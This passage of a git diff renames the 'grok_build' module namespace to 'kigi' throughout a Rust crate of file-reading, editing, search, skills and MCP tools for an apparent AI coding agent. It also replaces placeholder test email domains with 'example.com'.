rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/apply.rs
index 34fe9c6..2c9622f 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/apply.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/apply.rs
@@ -8,9 +8,9 @@ use std::path::Path;
 
 use super::range_policy;
 use super::types::*;
-use crate::implementations::grok_build_hashline::anchor::split_lines;
-use crate::implementations::grok_build_hashline::read_file::format_hashline_content;
-use crate::implementations::grok_build_hashline::scheme::{
+use crate::implementations::kigi_hashline::anchor::split_lines;
+use crate::implementations::kigi_hashline::read_file::format_hashline_content;
+use crate::implementations::kigi_hashline::scheme::{
     Anchor, AnchorScheme, DEFAULT_SEARCH_RADIUS, ParsedAnchor, ShiftResult, ValidationResult,
 };
 
@@ -772,8 +772,8 @@ mod tests {
         PathBuf::from("/tmp/test.rs")
     }
 
-    use crate::implementations::grok_build_hashline::config::HashlineSchemeParams;
-    use crate::implementations::grok_build_hashline::scheme::{ChunkFingerprint, ContentOnly};
+    use crate::implementations::kigi_hashline::config::HashlineSchemeParams;
+    use crate::implementations::kigi_hashline::scheme::{ChunkFingerprint, ContentOnly};
 
     const SAMPLE: &str =
         "fn main() {\n    let x = 1;\n    let y = 2;\n    println!(\"{x} {y}\");\n}\n";
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/mod.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/mod.rs
index 4e4c5bf..3a71590 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/mod.rs
@@ -216,7 +216,7 @@ impl crate::types::tool_metadata::ToolMetadata for HashlineEditTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildHashline
+        ToolNamespace::KigiHashline
     }
 
     fn description_template(&self) -> &str {
@@ -462,9 +462,9 @@ mod tests {
     }
 
     fn anchors_for(content: &str) -> Vec<String> {
-        use crate::implementations::grok_build_hashline::anchor::split_lines;
-        use crate::implementations::grok_build_hashline::edit::apply::anchor_suffix;
-        use crate::implementations::grok_build_hashline::scheme::{AnchorScheme, ChunkFingerprint};
+        use crate::implementations::kigi_hashline::anchor::split_lines;
+        use crate::implementations::kigi_hashline::edit::apply::anchor_suffix;
+        use crate::implementations::kigi_hashline::scheme::{AnchorScheme, ChunkFingerprint};
         let scheme = ChunkFingerprint::with_params(3, 8);
         let lines = split_lines(content);
         scheme
@@ -620,8 +620,8 @@ mod tests {
 
     // -- Diff detail tests (multi-edit compactness) -------------------------
 
-    fn test_scheme() -> Box<dyn crate::implementations::grok_build_hashline::scheme::AnchorScheme> {
-        crate::implementations::grok_build_hashline::config::HashlineSchemeParams::default()
+    fn test_scheme() -> Box<dyn crate::implementations::kigi_hashline::scheme::AnchorScheme> {
+        crate::implementations::kigi_hashline::config::HashlineSchemeParams::default()
             .build_scheme()
             .unwrap()
     }
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/range_policy.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/range_policy.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/range_policy.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/range_policy.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/types.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/types.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/grep.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/grep.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/grep.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/grep.rs
index 4ff4e0c..5d7a343 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/grep.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/grep.rs
@@ -9,7 +9,7 @@ use std::path::{Path, PathBuf};
 use std::time::Duration;
 
 use crate::computer::types::AsyncFileSystem;
-use crate::implementations::grok_build::grep::{GrepSearchInput, GrepTool, OutputMode};
+use crate::implementations::kigi::grep::{GrepSearchInput, GrepTool, OutputMode};
 
 use crate::types::output::GrepSearchOutput;
 use crate::types::requirements::{Expr, ToolRequirement};
@@ -162,7 +162,7 @@ impl crate::types::tool_metadata::ToolMetadata for HashlineGrepTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildHashline
+        ToolNamespace::KigiHashline
     }
 
     fn description_template(&self) -> &str {
@@ -342,7 +342,7 @@ mod tests {
         assert!(kigi_tool_runtime::Tool::capabilities(&tool).is_read_only);
         assert!(matches!(
             ToolMetadata::tool_namespace(&tool),
-            ToolNamespace::GrokBuildHashline
+            ToolNamespace::KigiHashline
         ));
     }
 
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/mod.rs
similarity index 89%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/mod.rs
index b41fe2b..749ff5a 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/mod.rs
@@ -1,4 +1,4 @@
-//! `GrokBuildHashline` namespace — hashline-anchored read/edit/search tools.
+//! `KigiHashline` namespace — hashline-anchored read/edit/search tools.
 //!
 //! This module provides the anchor engine used by the hashline toolset:
 //! - [`AnchorScheme`] trait and implementations (Candidates A, B, C)
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/mutate.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/mutate.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/mutate.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/mutate.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/read_file.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/read_file.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/read_file.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/read_file.rs
index 9236dce..f273a48 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/read_file.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/read_file.rs
@@ -1,12 +1,12 @@
 //! `hashline_read` — anchor-annotated file reading.
 //!
-//! Reuses the core file-reading logic from [`grok_build::read_file::run_read_file`]
+//! Reuses the core file-reading logic from [`kigi::read_file::run_read_file`]
 //! and post-processes the result to replace standard line-number formatting with
 //! scheme-aware anchor annotations.
 //!
 //! Output format: `ANCHOR→CONTENT` (e.g. `22:abc:rst→  let x = 1;`).
 
-use crate::implementations::grok_build::read_file::{ReadFileInput, run_read_file};
+use crate::implementations::kigi::read_file::{ReadFileInput, run_read_file};
 use crate::types::context::TruncationConfig;
 
 use crate::types::output::ReadFileOutput;
@@ -105,7 +105,7 @@ impl crate::types::tool_metadata::ToolMetadata for HashlineReadTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildHashline
+        ToolNamespace::KigiHashline
     }
 
     fn description_template(&self) -> &str {
@@ -249,7 +249,7 @@ mod tests {
     use crate::types::tool_metadata::test_ctx;
 
     use crate::computer::local::LocalFs;
-    use crate::implementations::grok_build::read_file::{MAX_LINES_READ, ReadFileTool};
+    use crate::implementations::kigi::read_file::{MAX_LINES_READ, ReadFileTool};
     use crate::notification::types::ToolNotificationHandle;
     use crate::types::resources::{Cwd, FileSystem, NotificationHandle, Resources};
     use std::sync::Arc;
@@ -358,7 +358,7 @@ mod tests {
         assert!(kigi_tool_runtime::Tool::capabilities(&tool).is_read_only);
         assert!(matches!(
             ToolMetadata::tool_namespace(&tool),
-            ToolNamespace::GrokBuildHashline
+            ToolNamespace::KigiHashline
         ));
     }
 
@@ -419,7 +419,7 @@ mod tests {
     }
 
     /// No per-line clip on the hashline read path either (it formats the
-    /// file content independently of grok_build `read_file`).
+    /// file content independently of kigi `read_file`).
     #[tokio::test]
     async fn read_long_line_unclipped_by_default() {
         let tmp = TempDir::new().unwrap();
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/scheme.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/scheme.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/scheme.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/scheme.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/lsp/config.rs b/crates/codegen/kigi-tools/src/implementations/lsp/config.rs
index 0bed8b0..d582001 100644
--- a/crates/codegen/kigi-tools/src/implementations/lsp/config.rs
+++ b/crates/codegen/kigi-tools/src/implementations/lsp/config.rs
@@ -13,7 +13,7 @@ pub const REQUEST_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(
 /// return the [`ConfigSource`](crate::types::config_source::ConfigSource) of each.
 ///
 /// Plugin configs fill gaps (new server names) but never override user/project config.
-/// This is the canonical merge function — both session startup and `grok inspect` call it.
+/// This is the canonical merge function — both session startup and `kigi inspect` call it.
 /// Accepts both file-based `.lsp.json` paths and inline `lspServers` JSON values
 /// from plugin manifests (`plugin.json`).
 pub fn load_servers_with_plugins_sourced(
diff --git a/crates/codegen/kigi-tools/src/implementations/memory/get_tool.rs b/crates/codegen/kigi-tools/src/implementations/memory/get_tool.rs
index 3f2902d..5b8e21a 100644
--- a/crates/codegen/kigi-tools/src/implementations/memory/get_tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/memory/get_tool.rs
@@ -39,7 +39,7 @@ impl crate::types::tool_metadata::ToolMetadata for MemoryGetImpl {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/memory/search_tool.rs b/crates/codegen/kigi-tools/src/implementations/memory/search_tool.rs
index a48de21..0426e6a 100644
--- a/crates/codegen/kigi-tools/src/implementations/memory/search_tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/memory/search_tool.rs
@@ -16,7 +16,7 @@ impl crate::types::tool_metadata::ToolMetadata for MemorySearchImpl {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/mod.rs b/crates/codegen/kigi-tools/src/implementations/mod.rs
index 69a224c..16a2682 100644
--- a/crates/codegen/kigi-tools/src/implementations/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/mod.rs
@@ -1,9 +1,9 @@
 pub mod codex;
 pub mod cursor_rules_on_read;
 pub mod editor_infra;
-pub mod grok_build;
-pub mod grok_build_concise;
-pub mod grok_build_hashline;
+pub mod kigi;
+pub mod kigi_concise;
+pub mod kigi_hashline;
 pub mod lsp;
 pub mod memory;
 pub mod opencode;
@@ -13,8 +13,8 @@ pub mod skills;
 pub mod task_output;
 pub mod use_tool;
 pub mod web_search;
-pub use grok_build::bash::{BashError, BashToolInput};
-pub use grok_build::{
+pub use kigi::bash::{BashError, BashToolInput};
+pub use kigi::{
     AskUserQuestionTool, BashTool, EnterPlanModeTool, ExitPlanModeTool, GrepTool, KillTaskTool,
     ListDirTool, ReadFileTool, SearchReplaceTool, TaskOutputTool, TaskTool, TodoWriteTool,
     WaitTasksTool, WebFetchTool, WebSearchTool,
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/bash/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/bash/mod.rs
index fe14070..319a8f2 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/bash/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/bash/mod.rs
@@ -1095,7 +1095,7 @@ mod tests {
 
     // ─── Description template shell-awareness parity tests ───
     //
-    // Same shape as grok_build/bash: the opencode tool inherits the same
+    // Same shape as kigi/bash: the opencode tool inherits the same
     // Unix-utility guidance and must branch on PowerShell/cmd.
 
     mod description_shell_branches {
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/edit/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/edit/mod.rs
index 337188f..b0eb800 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/edit/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/edit/mod.rs
@@ -19,8 +19,8 @@
 use std::sync::Arc;
 
 use crate::computer::types::AsyncFileSystem;
-use crate::implementations::grok_build::search_replace::CONTEXT_LINES;
-use crate::implementations::grok_build::search_replace::helpers::{
+use crate::implementations::kigi::search_replace::CONTEXT_LINES;
+use crate::implementations::kigi::search_replace::helpers::{
     build_edit_details, render_snippet, replace_using_positions,
 };
 use crate::notification::types::FileWritten;
@@ -467,8 +467,8 @@ async fn handle_replacement(
 }
 
 // Note: `replace_at_positions`, `render_snippet`, and `build_edit_details`
-// are imported from `grok_build::search_replace::helpers` — shared across
-// both the grok_build and opencode edit tools.
+// are imported from `kigi::search_replace::helpers` — shared across
+// both the kigi and opencode edit tools.
 
 // ───────────────────────────────────────────────────────────────────────────
 // Tests
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/glob/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/glob/mod.rs
index cca8e91..0c0167c 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/glob/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/glob/mod.rs
@@ -10,7 +10,7 @@ use std::process::Stdio;
 use tokio::io::AsyncReadExt;
 use tokio::process::Command;
 
-use crate::implementations::grok_build::grep::ripgrep::rg_path;
+use crate::implementations::kigi::grep::ripgrep::rg_path;
 use crate::types::output::ToolOutput;
 #[allow(unused_imports)]
 use crate::types::resources::{
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/grep/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/grep/mod.rs
index 8ebf5a0..db88186 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/grep/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/grep/mod.rs
@@ -10,7 +10,7 @@ use std::process::Stdio;
 use tokio::io::AsyncReadExt;
 use tokio::process::Command;
 
-use crate::implementations::grok_build::grep::ripgrep::rg_path;
+use crate::implementations::kigi::grep::ripgrep::rg_path;
 use crate::types::output::{GrepFileMatch, GrepLineMatch, GrepSearchOutput};
 use crate::types::requirements::{Expr, ToolRequirement};
 #[allow(unused_imports)]
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/mod.rs
index 6d6e7df..a267896 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/mod.rs
@@ -10,7 +10,7 @@
 //! Most tools follow the opencode parameter
 //! naming conventions (e.g., `read`/`edit` use `filePath`, `oldString`,
 //! `newString`); `write` is the exception — its input was normalized to
-//! snake_case (`file_path`) for grok_build consistency.
+//! snake_case (`file_path`) for kigi consistency.
 
 pub mod bash;
 pub mod edit;
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/read/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/read/mod.rs
index 635f7e7..ec98664 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/read/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/read/mod.rs
@@ -215,8 +215,7 @@ impl kigi_tool_runtime::Tool for ReadTool {
         // Check for images via magic-byte detection. Route through
         // compression — raw bytes (truncated or non-endpoint formats)
         // must never reach the conversation.
-        if let Ok(meta) =
-            crate::implementations::grok_build::read_file::bytes_to_metadata(&file_bytes)
+        if let Ok(meta) = crate::implementations::kigi::read_file::bytes_to_metadata(&file_bytes)
             && meta.is_image()
         {
             return Ok(crate::implementations::read_file::image::image_read_output(
diff --git a/crates/codegen/kigi-tools/src/implementations/opencode/todowrite/mod.rs b/crates/codegen/kigi-tools/src/implementations/opencode/todowrite/mod.rs
index 19c1f76..54f9b9a 100644
--- a/crates/codegen/kigi-tools/src/implementations/opencode/todowrite/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/opencode/todowrite/mod.rs
@@ -5,11 +5,11 @@
 //! `priority` — no caller-supplied IDs.
 //!
 //! State is stored as `State<TodoState>` in Resources, shared with the
-//! grok_build todo infrastructure.
+//! kigi todo infrastructure.
 
 use std::fmt::Write;
 
-use crate::implementations::grok_build::todo::{TodoItem, TodoPriority, TodoState, TodoStatus};
+use crate::implementations::kigi::todo::{TodoItem, TodoPriority, TodoState, TodoStatus};
 use crate::types::output::{TodoWriteOutput, TodoWriteSuccess};
 use crate::types::requirements::{Expr, ToolRequirement};
 #[allow(unused_imports)]
diff --git a/crates/codegen/kigi-tools/src/implementations/read_file/mod.rs b/crates/codegen/kigi-tools/src/implementations/read_file/mod.rs
index 53d714b..a9bba96 100644
--- a/crates/codegen/kigi-tools/src/implementations/read_file/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/read_file/mod.rs
@@ -1,4 +1,4 @@
-//! Shared image/PDF/metadata helpers for read tools (grok_build, etc.).
+//! Shared image/PDF/metadata helpers for read tools (kigi, etc.).
 
 pub mod image;
 pub mod metadata;
diff --git a/crates/codegen/kigi-tools/src/implementations/read_file/pdf.rs b/crates/codegen/kigi-tools/src/implementations/read_file/pdf.rs
index 091086e..4781675 100644
--- a/crates/codegen/kigi-tools/src/implementations/read_file/pdf.rs
+++ b/crates/codegen/kigi-tools/src/implementations/read_file/pdf.rs
@@ -267,7 +267,7 @@ pub fn raw_text_to_file_content(text: String) -> ReadFileOutput {
 }
 
 enum PageTextStyle {
-    GrokBuild,
+    Kigi,
     Cursor { total_pages: usize },
 }
 
@@ -296,7 +296,7 @@ fn extract_page_texts(
             text.push('\n');
         }
         match style {
-            PageTextStyle::GrokBuild => {
+            PageTextStyle::Kigi => {
                 writeln!(&mut text, "--- Page {} ---", page_idx + 1).ok();
             }
             PageTextStyle::Cursor { .. } => {}
@@ -317,7 +317,7 @@ fn extract_pdf_plain_text(bytes: Vec<u8>, style: PageTextStyle) -> Result<String
     let (doc, page_count) = open_pdf_document(bytes)?;
     let page_indices: Vec<usize> = (0..page_count).collect();
     let style = match style {
-        PageTextStyle::GrokBuild => PageTextStyle::GrokBuild,
+        PageTextStyle::Kigi => PageTextStyle::Kigi,
         PageTextStyle::Cursor { .. } => PageTextStyle::Cursor {
             total_pages: page_count,
         },
@@ -328,7 +328,7 @@ fn extract_pdf_plain_text(bytes: Vec<u8>, style: PageTextStyle) -> Result<String
 /// Extract plain text from all PDF pages (no auto-read page limit).
 #[cfg(test)]
 pub(crate) fn extract_pdf_plain_text_all(bytes: Vec<u8>) -> Result<String, String> {
-    extract_pdf_plain_text(bytes, PageTextStyle::GrokBuild)
+    extract_pdf_plain_text(bytes, PageTextStyle::Kigi)
 }
 
 /// Plain text from all PDF pages in the `Read` format.
@@ -341,7 +341,7 @@ pub(crate) fn extract_pdf_text(
     pages_spec: Option<&str>,
 ) -> Result<ReadFileOutput, String> {
     let (doc, _page_count, page_indices) = open_pdf_and_resolve_pages(bytes, pages_spec)?;
-    let text = extract_page_texts(&doc, &page_indices, PageTextStyle::GrokBuild)?;
+    let text = extract_page_texts(&doc, &page_indices, PageTextStyle::Kigi)?;
     Ok(raw_text_to_file_content(text))
 }
 
diff --git a/crates/codegen/kigi-tools/src/implementations/search_tool/mod.rs b/crates/codegen/kigi-tools/src/implementations/search_tool/mod.rs
index b56d991..31cc582 100644
--- a/crates/codegen/kigi-tools/src/implementations/search_tool/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/search_tool/mod.rs
@@ -213,7 +213,7 @@ impl crate::types::tool_metadata::ToolMetadata for SearchTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -697,8 +697,8 @@ mod tests {
     #[test]
     fn hash_value_pinned_output() {
         // Pin a known input/output pair so accidental hasher changes are caught.
-        let h = hash_value(&"grok-mcp-fingerprint-stability-test");
-        assert_eq!(h, hash_value(&"grok-mcp-fingerprint-stability-test"));
+        let h = hash_value(&"kigi-mcp-fingerprint-stability-test");
+        assert_eq!(h, hash_value(&"kigi-mcp-fingerprint-stability-test"));
         // The value must not change across runs (FNV-1a is deterministic).
         // If this assertion fails, the hasher implementation was modified.
         assert_ne!(h, 0, "hash should be non-zero for non-empty input");
diff --git a/crates/codegen/kigi-tools/src/implementations/skills/discovery.rs b/crates/codegen/kigi-tools/src/implementations/skills/discovery.rs
index a0b8a85..d7f6c52 100644
--- a/crates/codegen/kigi-tools/src/implementations/skills/discovery.rs
+++ b/crates/codegen/kigi-tools/src/implementations/skills/discovery.rs
@@ -22,7 +22,7 @@ pub const MAX_SKILL_WALK_DEPTH: usize = 5;
 ///
 /// `skills` is the standard layout (`.kigi/skills/`, `.claude/skills/`,
 /// `.cursor/skills/`). The product-specific `skills-cursor/` layout is no
-/// longer scanned — it pulled vendor default skills into Grok Build sessions.
+/// longer scanned — it pulled vendor default skills into Kigi sessions.
 const SKILL_SUBDIRS: &[&str] = &["skills"];
 
 /// Cursor ships these default skills in `~/.cursor/skills-cursor/`
@@ -815,7 +815,7 @@ pub fn parse_skill_files(skill_files: Vec<(PathBuf, SkillScope)>) -> Vec<SkillIn
 
     // Drop vendor-shipped default skills (vendor builtins) found under
     // a `/.cursor/` or `/.claude/` path. Always applied, independent of the
-    // per-vendor toggle, so vendor builtins never leak into Grok Build.
+    // per-vendor toggle, so vendor builtins never leak into Kigi.
     skills.retain(|s| !is_vendor_default_skill(&s.path, &s.name));
 
     skills
@@ -1467,17 +1467,17 @@ model: test-model
         )
         .unwrap();
         // Same name under /.kigi/ → kept (user content).
-        let grok_shell = tmp.path().join(".kigi").join("skills").join("shell");
-        std::fs::create_dir_all(&grok_shell).unwrap();
+        let kigi_shell = tmp.path().join(".kigi").join("skills").join("shell");
+        std::fs::create_dir_all(&kigi_shell).unwrap();
         std::fs::write(
-            grok_shell.join("SKILL.md"),
+            kigi_shell.join("SKILL.md"),
             "---\nname: shell\ndescription: user content\n---\n",
         )
         .unwrap();
 
         let skills = parse_skill_files(vec![
             (cursor_shell.join("SKILL.md"), SkillScope::User),
-            (grok_shell.join("SKILL.md"), SkillScope::User),
+            (kigi_shell.join("SKILL.md"), SkillScope::User),
         ]);
         assert_eq!(skills.len(), 1, "cursor builtin must be dropped");
         assert!(skills[0].path.contains("/.kigi/"));
@@ -1523,9 +1523,9 @@ model: test-model
             "---\nname: claude-dyn\n---\n",
         )
         .unwrap();
-        let grok_skill = sub.join(".kigi").join("skills").join("grok-dyn");
-        std::fs::create_dir_all(&grok_skill).unwrap();
-        std::fs::write(grok_skill.join("SKILL.md"), "---\nname: grok-dyn\n---\n").unwrap();
+        let kigi_skill = sub.join(".kigi").join("skills").join("kigi-dyn");
+        std::fs::create_dir_all(&kigi_skill).unwrap();
+        std::fs::write(kigi_skill.join("SKILL.md"), "---\nname: kigi-dyn\n---\n").unwrap();
 
         let file = sub.join("file.rs");
         std::fs::write(&file, "fn main() {}").unwrap();
@@ -1541,15 +1541,15 @@ model: test-model
         );
         let names_on: Vec<&str> = on.iter().map(|s| s.name.as_str()).collect();
         assert!(
-            names_on.contains(&"grok-dyn"),
-            "grok-dyn missing: {names_on:?}"
+            names_on.contains(&"kigi-dyn"),
+            "kigi-dyn missing: {names_on:?}"
         );
         assert!(
             names_on.contains(&"claude-dyn"),
             "claude-dyn should be found when claude.skills on: {names_on:?}"
         );
 
-        // claude.skills OFF → only grok-dyn discovered.
+        // claude.skills OFF → only kigi-dyn discovered.
         let mut compat_off = CompatConfig::default();
         compat_off.claude.skills = false;
         let mut checked2 = HashSet::new();
@@ -1562,8 +1562,8 @@ model: test-model
         );
         let names_off: Vec<&str> = off.iter().map(|s| s.name.as_str()).collect();
         assert!(
-            names_off.contains(&"grok-dyn"),
-            "grok-dyn missing: {names_off:?}"
+            names_off.contains(&"kigi-dyn"),
+            "kigi-dyn missing: {names_off:?}"
         );
         assert!(
             !names_off.contains(&"claude-dyn"),
diff --git a/crates/codegen/kigi-tools/src/implementations/skills/skill.rs b/crates/codegen/kigi-tools/src/implementations/skills/skill.rs
index ed11da0..2fda3cc 100644
--- a/crates/codegen/kigi-tools/src/implementations/skills/skill.rs
+++ b/crates/codegen/kigi-tools/src/implementations/skills/skill.rs
@@ -34,7 +34,7 @@ pub struct SkillOutput {
 }
 
 // Old `SkillToolImpl` + `impl Tool` deleted.
-// New implementation is in `grok_build/skill/`.
+// New implementation is in `kigi/skill/`.
 
 /// Build the formatted skill message shown to the model.
 ///
@@ -238,7 +238,7 @@ pub struct SubstitutionContext<'a> {
 
 /// Apply variable substitutions to skill content.
 ///
-/// Supported variables (Grok-native names + compat aliases):
+/// Supported variables (Kigi-native names + compat aliases):
 ///
 /// | Variable | Alias | Description |
 /// |----------|-------|-------------|
@@ -478,7 +478,7 @@ pub fn extract_skill_body(content: &str) -> String {
 ///
 /// Public entrypoint for the shell crate to load skill content at
 /// prompt-assembly time (the new zero-round-trip path). The private
-/// `load_skill_content` in `grok_build/skill/mod.rs` is a duplicate
+/// `load_skill_content` in `kigi/skill/mod.rs` is a duplicate
 /// of this.
 pub async fn load_skill_content(skill: &SkillInfo) -> Result<String, String> {
     let path = std::path::Path::new(&skill.path);
@@ -910,7 +910,7 @@ Step 2: Check for bugs.
     }
 
     #[test]
-    fn test_grok_plugin_aliases_substitution() {
+    fn test_kigi_plugin_aliases_substitution() {
         let mut content = "Root ${KIGI_PLUGIN_ROOT}, data ${KIGI_PLUGIN_DATA}".to_string();
         apply_substitutions(
             &mut content,
diff --git a/crates/codegen/kigi-tools/src/implementations/task_output/tool.rs b/crates/codegen/kigi-tools/src/implementations/task_output/tool.rs
index 6c5a2cc..2fff607 100644
--- a/crates/codegen/kigi-tools/src/implementations/task_output/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/task_output/tool.rs
@@ -1,5 +1,5 @@
 //! Task output tool — old `impl Tool` deleted.
-//! Helper functions remain for use by `grok_build/task_output/`.
+//! Helper functions remain for use by `kigi/task_output/`.
 
 use crate::computer::types::TaskSnapshot;
 use crate::types::process_manager::format_system_time_rfc3339;
diff --git a/crates/codegen/kigi-tools/src/implementations/use_tool/mod.rs b/crates/codegen/kigi-tools/src/implementations/use_tool/mod.rs
index 9148ee3..cb721c6 100644
--- a/crates/codegen/kigi-tools/src/implementations/use_tool/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/use_tool/mod.rs
@@ -58,7 +58,7 @@ impl Default for UseToolParams {
     }
 }
 
-crate::register_resource!("grok_build", "UseTool", UseToolParams);
+crate::register_resource!("kigi", "UseTool", UseToolParams);
 
 /// Meta tool that dispatches calls to MCP tools discovered via `search_tool`.
 ///
@@ -130,7 +130,7 @@ impl crate::types::tool_metadata::ToolMetadata for UseTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -790,7 +790,7 @@ mod tests {
     fn classify_python_repr_single_line_is_long_line_text() {
         // mcp-server-sqlite returns a Python repr of rows (single quotes) on one
         // long line — JSON-ish but invalid JSON; the long-line case still catches it.
-        let row = "{'id': 0, 'name': 'user0', 'email': 'u0@x.ai', 'age': 20}";
+        let row = "{'id': 0, 'name': 'user0', 'email': 'u0@example.com', 'age': 20}";
         let payload = format!("[{}]", vec![row; 60].join(", "));
         assert!(payload.len() > LONG_LINE_BYTES && !payload.contains('\n'));
         let kind = McpDumpKind::classify(&payload);
@@ -819,7 +819,7 @@ mod tests {
         // CSV is line-addressable (grep/awk work) → Other, no steer.
         let mut csv = String::from("id,name,email,age\n");
         for i in 0..50 {
-            csv.push_str(&format!("{i},user{i},u{i}@x.ai,{}\n", 20 + i));
+            csv.push_str(&format!("{i},user{i},u{i}@example.com,{}\n", 20 + i));
         }
         let kind = McpDumpKind::classify(&csv);
         assert_eq!(kind, McpDumpKind::Other);
diff --git a/crates/codegen/kigi-tools/src/implementations/web_search/tool.rs b/crates/codegen/kigi-tools/src/implementations/web_search/tool.rs
index fe1a1cb..bc13578 100644
--- a/crates/codegen/kigi-tools/src/implementations/web_search/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/web_search/tool.rs
@@ -1,3 +1,3 @@
 //! Web search tool — old `impl Tool` deleted.
-//! New implementation is in `grok_build/web_search/`.
+//! New implementation is in `kigi/web_search/`.
 //! Client logic is in `client.rs`.
diff --git a/crates/codegen/kigi-tools/src/lib.rs b/crates/codegen/kigi-tools/src/lib.rs
index 0dc7bac..570551a 100644
--- a/crates/codegen/kigi-tools/src/lib.rs
+++ b/crates/codegen/kigi-tools/src/lib.rs
@@ -1,4 +1,4 @@
-//! Grok tools library.
+//! Kigi tools library.
 
 pub use kigi_version::VERSION;
 
